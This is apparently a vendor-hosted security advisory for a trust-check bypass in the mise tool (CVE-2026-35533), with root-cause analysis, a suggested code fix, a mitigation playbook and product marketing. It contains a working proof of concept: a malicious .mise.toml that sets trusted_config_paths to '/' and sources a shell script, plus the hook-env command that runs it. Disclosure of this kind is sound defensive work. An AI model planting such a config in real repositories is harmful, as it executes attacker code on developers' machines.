Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🦀 crates.io

GHSA-436v-8fw5-4mj8

HIGH

GHSA-436v-8fw5-4mj8 is a high-severity (CVSS 7.7) CWE-284 vulnerability in mise. O3 Security confirms whether GHSA-436v-8fw5-4mj8 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Local settings bypass config trust checks

Also known asCVE-2026-35533
Published
Apr 7, 2026
Updated
Jun 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🦀mise

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Summary

mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.

The strongest current variant is trusted_config_paths = ["/"]. I confirmed on current v2026.3.17 in Docker that this causes an untrusted project config to become trusted during mise hook-env, which then executes an attacker-controlled _.source script. The same preload issue also lets local yes = true / ci = true auto-approve trust prompts on v2026.2.18+, but the primary PoC below uses the stronger trusted_config_paths path.

Details

The vulnerable load order is:

  1. Settings::try_get() preloads local settings files.
  2. parse_settings_file() returns settings_file.settings without checking whether the file is trusted.
  3. trust_check() later consults those already-loaded settings.

The main trust-bypass path is in is_trusted():

let settings = Settings::get();
for p in settings.trusted_config_paths() {
    if canonicalized_path.starts_with(p) {
        add_trusted(canonicalized_path.to_path_buf());
        return true;
    }
}

If a local project file sets:

[settings]
trusted_config_paths = ["/"]

then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.

Related variant: trust_check() auto-accepts explicit trust prompts when Settings::get().yes is true, and Settings::try_get() sets yes = true when ci is set. I confirmed that regression on v2026.2.18, but the primary PoC below does not depend on it.

PoC

Test environment:

  • Docker
  • linux-arm64
  • mise v2026.3.17

Negative control:

[env]
_.source = ["./poc.sh"]

mise ls fails with:

Config files in /work/poc/.mise.toml are not trusted.

and /tmp/mise-proof.txt is not created.

Primary exploit:

[settings]
trusted_config_paths = ["/"]

[env]
_.source = ["./poc.sh"]

with:

#!/usr/bin/env bash
echo trusted_paths_hookenv > /tmp/mise-proof.txt

Then:

mise hook-env -s bash --force

Observed:

/tmp/mise-proof.txt => trusted_paths_hookenv

Related regression check:

  • v2026.2.17: local yes = true does not bypass trust
  • v2026.2.18: the same local yes = true value auto-approves the trust prompt and the side effect file is created

Impact

An attacker who can place a .mise.toml in a repository can make mise trust and evaluate dangerous directives from that same untrusted file.

Demonstrated on current supported versions:

  • execution via [env] _.source during mise hook-env
  • bypass of the protection that mise trust is supposed to provide for dangerous config features

On newer versions, the same root cause also lets local yes / ci values auto-approve explicit trust prompts.

Suggested Fix

Do not honor trust-control settings from non-global project config files.

At minimum, ignore these fields when loading local project config:

  • trusted_config_paths
  • yes
  • ci
  • paranoid

For example:

pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
    let raw = file::read_to_string(path)?;
    let settings_file: SettingsFile = toml::from_str(&raw)?;
    let mut settings = settings_file.settings;

    if !config::is_global_config(path) {
        settings.yes = None;
        settings.ci = None;
        settings.trusted_config_paths = None;
        settings.paranoid = None;
    }

    Ok(settings)
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🦀crates.iomise2026.2.18&&< 2026.6.42026.6.4

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mise. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update mise to 2026.6.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-436v-8fw5-4mj8 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-436v-8fw5-4mj8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-436v-8fw5-4mj8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `mise` loads trust-control settings from a local project `.mise.toml` before the trust check runs. An attacker who can place a malicious `.mise.toml` in a repository can make that same file appear trusted and then reach dangerous directives such as `[env] _.source`, templates, hooks, or tasks. The strongest current variant is `trusted_config_paths = ["/"]`. I confirmed on current `v2026.3.17` in Docker that this causes an untrusted project config to become trusted during `mise hook-env`, which then executes an attacker-controlled `_.source` script. The same preload issue also let
O3 Security · Impact-Aware SCA

Is GHSA-436v-8fw5-4mj8 in your dependencies?

O3 detects GHSA-436v-8fw5-4mj8 across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.